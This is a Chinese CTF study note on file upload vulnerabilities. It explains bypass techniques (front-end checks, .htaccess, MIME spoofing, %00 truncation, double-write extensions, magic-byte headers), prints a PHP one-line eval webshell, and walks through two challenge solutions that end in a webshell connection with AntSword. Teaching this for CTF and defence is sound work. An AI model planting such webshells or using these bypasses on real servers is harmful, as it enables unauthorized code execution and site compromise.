成因
上传文件时没有对上传的文件进行严格的验证和过滤,容易造成上传任意文件的情况,从而使得攻击者绕过上传机制上传恶意代码
恶意代码文件就是php asp aspx jsp等,也被称为webshell
文件上传漏洞的类型
前端验证
.htaccess利用
MIME类型绕过
%00截断
双写绕过
文件头检查
。。。
注:1~4的例题在周报3中
一句话木马(php)
1 | @eval($_POST["ctf"]); |
这是 PHP 代码的起始标记,表明从这里开始是 PHP 代码区域。
@:在 PHP 中,@是错误抑制符,不报错。eval():是 PHP 的一个内置函数,它的作用是把字符串作为 PHP 代码来执行。$_POST["ctf"]:$_POST是 PHP 的一个超全局变量,用于接收通过 POST 方法提交的数据。其中的ctf就是一句话的密码
也可以把$_POST换为$_GET,接收通过 GET 方法提交的数据
工具
上传一句话木马后,需要借助特定工具与木马建立连接,以执行命令、获取信息等。常用的操作一句话木马的工具:菜刀(中国菜刀)、蚁剑、冰蝎、哥斯拉
文件上传
表单简单举例:
1 | <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()"> |
action="":表示表单数据将提交到当前页面。如果需要将数据提交到其他页面,可以在此处填写目标页面的 URL。method="post":提交方式为 POSTenctype="multipart/form-data":这是文件上传表单必须设置的属性,用于指定表单数据的编码类型,以支持二进制文件的上传。
需要特别注意请求头中的Content-Type,它是用来告诉后端我们的数据类型和编码方式的
前端验证
原理
校验是通过前端javascript代码完成的,可以对前端javascript进行修改或者是通过抓包篡改上传的文件。
.htaccess利用
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
——百度百科
MIME
MIME 类型是一种标准化的标识方式,用来描述数据的类型
MIME 类型通用结构:type/subtype
例如:
text/plain 表示文本文件的默认值。
application/octet-stream 表示所有其他情况的默认值。
超文本标记语言文本 .html、.html:text/html
普通文本 .txt: text/plain
上文提到的Content-Type的核心就是MIME类型
%00截断
原理:
在 php<5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符。于是在读文件名的时候,当函数读到 0x00(%00) 时,会认为已经结束。
双写绕过
原理:
网站后端代码中,如果上传的文件后缀名在黑名单中,就会将其替换为空
1 | $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini"); |
1 | $name = str_ireplace($blacklist, "", $name); |
str_ireplace()是一个 PHP 函数,用于在字符串中进行不区分大小写的替换操作。第一个参数
$blacklist是要查找并替换的字符串数组,即黑名单中的扩展名。第二个参数
""表示将查找到的字符串替换为空字符串。第三个参数
$name是要进行替换操作的目标字符串,即前面提取出来的文件名。
这行代码的作用是将文件名中包含的黑名单扩展名替换为空字符串。
例题
题目:
/%E9%A2%98%E7%9B%AE.png)
/%E9%A2%98%E7%9B%AE2.png)
解题:
先看源码
/%E6%BA%90%E7%A0%81.png)
在注释中的提示中发现,后端使用了str_ireplace()函数把黑名单中的后缀名替换为空
上传一个文件名为w.pphphp的文件,内含一句话木马
/Snipaste_2025-02-14_19-40-38.png)
后端自动将其中的php去掉了,变成了w.php
接着打开蚁剑,得到flag
/Snipaste_2025-02-14_19-45-07.png)
文件头检查
文件头
在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制 表示)实际上都有一片区域来显示这个文件的实际用法,这就是文件头标志。 在计算机中,文件头是一段用来描述文件内容和格式的数据。 不同的文件格式有不同的文件头格式。 文件头内容通常包含文件的类型、版本、编码方式、文件大小等信息,以方便计算机识别和处理文件。
例如:
jpg 文件头:FFD8FF
png 文件头:89504E47
gif 文件头:47494638
应用场景:当网站通过检查文件头的方式来判断文件类型时,可以在木马前添加合法的文件头
例题
题目:
/Snipaste_2025-02-14_20-03-00.png)
/Snipaste_2025-02-14_20-03-22.png)
解题
先看源码
/Snipaste_2025-02-14_20-07-27.png)
一个普通的文件上传没啥特色,上传个文件试试
/Snipaste_2025-02-14_20-05-41.png)
只能上传jpeg、jpg、png、gif类型
制作一个图片马
随便找一张后缀为png的图片(不要太大),用记事本打开在最后面写上一句话木马,并将后缀改为php
/Snipaste_2025-02-14_20-15-25.png)
上传还是不行,还需要改一下包
打开burp,开启拦截
/11.png)
将Content-Type的内容改一下, 换为image/png
/22.png)
/Snipaste_2025-02-14_20-36-13.png)
/Snipaste_2025-02-14_20-35-02.png)
连接,获取flag
/ff.png)